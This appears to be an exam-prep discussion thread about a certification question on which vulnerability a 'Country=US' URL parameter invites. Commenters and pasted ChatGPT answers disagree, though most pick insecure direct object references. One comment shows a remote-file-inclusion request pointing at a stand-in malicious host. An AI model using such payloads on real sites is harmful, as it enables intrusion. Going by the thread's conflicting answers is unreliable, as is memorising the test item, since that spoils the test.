A security engineer notices the company website allows users to select which country they reside in, such as the following example:
https://mycompany.com/main.php?Country=US
Which of the following vulnerabilities would MOST likely affect this site?
A security engineer notices the company website allows users to select which country they reside in, such as the following example:
https://mycompany.com/main.php?Country=US
Which of the following vulnerabilities would MOST likely affect this site?
Given the context of the URL parameter 'Country=US', the most likely vulnerability affecting the site would be Directory Traversal. This vulnerability occurs when inputs are not properly validated or sanitized, allowing an attacker to manipulate the URL to traverse directories and potentially gain unauthorized access to the server's file system. The other options, such as SQL injection, Remote File Inclusion, and unsecure references, do not align as closely with the nature of the 'Country' parameter in the URL.
The answer is D
The vulnerability that would MOST likely affect the website in the given scenario is: A. SQL injection When a website allows users to input data, such as selecting a country in this case, and that input is directly used in constructing SQL queries without proper validation or parameterization, it becomes vulnerable to SQL injection attacks. An attacker can manipulate the input to execute malicious SQL queries, potentially gaining unauthorized access to the database or affecting the application's functionality. In contrast: B. Remote file inclusion: This vulnerability involves including files from remote servers, typically associated with file inclusion vulnerabilities, and is not directly related to user-selected countries. C. Directory traversal: This vulnerability allows an attacker to access files or directories outside of the intended directory structure, which might not be directly related to user-selected countries. D. Unsecure references: While unsecure references could lead to various security issues, it is not directly related to user-selected countries unless the references involve user inputs that are not properly sanitized.
Chat GPT Answer D: The vulnerability that would MOST likely affect the website in the given scenario is "Unsecure references." This is because the website is allowing users to specify a country in the URL as a parameter (e.g., "Country=US"), and if this input is not properly validated and sanitized, it could lead to unsecure references or links being generated, potentially exposing sensitive information or allowing malicious actions. The other vulnerabilities listed, such as SQL injection, remote file inclusion, and directory traversal, may also pose risks depending on the website's implementation, but they are not directly related to the user-selected country parameter in this context.
ChatGPT 3.5 now pushes C (Directory Traversal)...
My chat GPT was telling me A.
Unsecure References (IDOR): This vulnerability occurs when internal objects or resources are referenced directly through user-controllable parameters (like Country in the URL) without proper access controls. If the Country parameter directly correlates to internal data or resources without authorization checks, attackers could manipulate this parameter to access unauthorized data or functionality.
Considering the scenario where the website allows users to select their country via a URL parameter (Country=US), the vulnerability that is most likely to affect this site is unsecure references (option D), particularly due to the potential exploitation through an Insecure Direct Object Reference (IDOR). This vulnerability could allow attackers to manipulate the parameter to access unauthorized resources or perform unauthorized actions, emphasizing the need for proper input validation and access controls to mitigate such risks.
It's technically insecure direct object reference
IDOR from recently taking Pentest. The vulnerability that would most likely affect this site is D. Unsecure references. Unsecure references, also known as insecure direct object references (IDOR), occur when an application provides direct access to objects based on user-supplied input. In this case, the “Country” parameter in the URL is directly referencing an object. If the application does not properly verify the user’s authorization to access this object, it could lead to unauthorized access. Therefore, the correct answer is D. Unsecure references.
Consider a web application that includes a file based on a parameter in the URL, like example.com/index.php?page=userinput. If the application does not properly validate user input for the "page" parameter, an attacker might craft a request like example.com/index.php?page=http://malicious.com/evilcode, leading to the inclusion of a file from the external server.
D. Unsecure references
if the "Country" parameter is not properly validated or sanitized, an attacker may attempt to manipulate it to navigate to directories outside the intended path. This can lead to unauthorized access to sensitive files or directories on the server.
I change my answer to D as if we are providing incorrect input to the web application it would be considered unsecure references
Are Insecure Direct Object References (IDOR) and "Unsecure references" the same thing? "Unsecure references" is not a commonly used or recognized IT security term. It could be a typo or a variation in terminology. Google search for "Unsecure references" Insecure Direct Object Reference (IDOR) vulnerability is often associated with applications that use parameters in the URL to access resources. If the application does not properly validate these parameters or apply proper authentication and authorization, an attacker may attempt to modify the parameters in the URL to access unauthorized information or functionality. Remote File Inclusion (Option B) is a concern if the “Country” parameter in the URL is being used to include files from different directories based on the selected country. This could allow an attacker to include malicious remote files.
It's D strictly because it is an unsecure "object" reference. Similar question in the pentest+ exam
I'm going with D but in my research I see a lot of references to XSS, SQL Injection, Directory Traversal. I think this question is a bit rough given it could fit multiple things pretty easily.
I support h_k_d's answer
D. read the question prioperly
D. read the question properly.
I am going with "D" on this one - Unsecure references.Insecure Direct Object References (IDOR) occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files. Example from OWASP website: http://foo.bar/somepage?invoice=12345 Reference: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References#:~:text=Insecure%20Direct%20Object%20References%20(IDOR,example%20database%20records%20or%20files.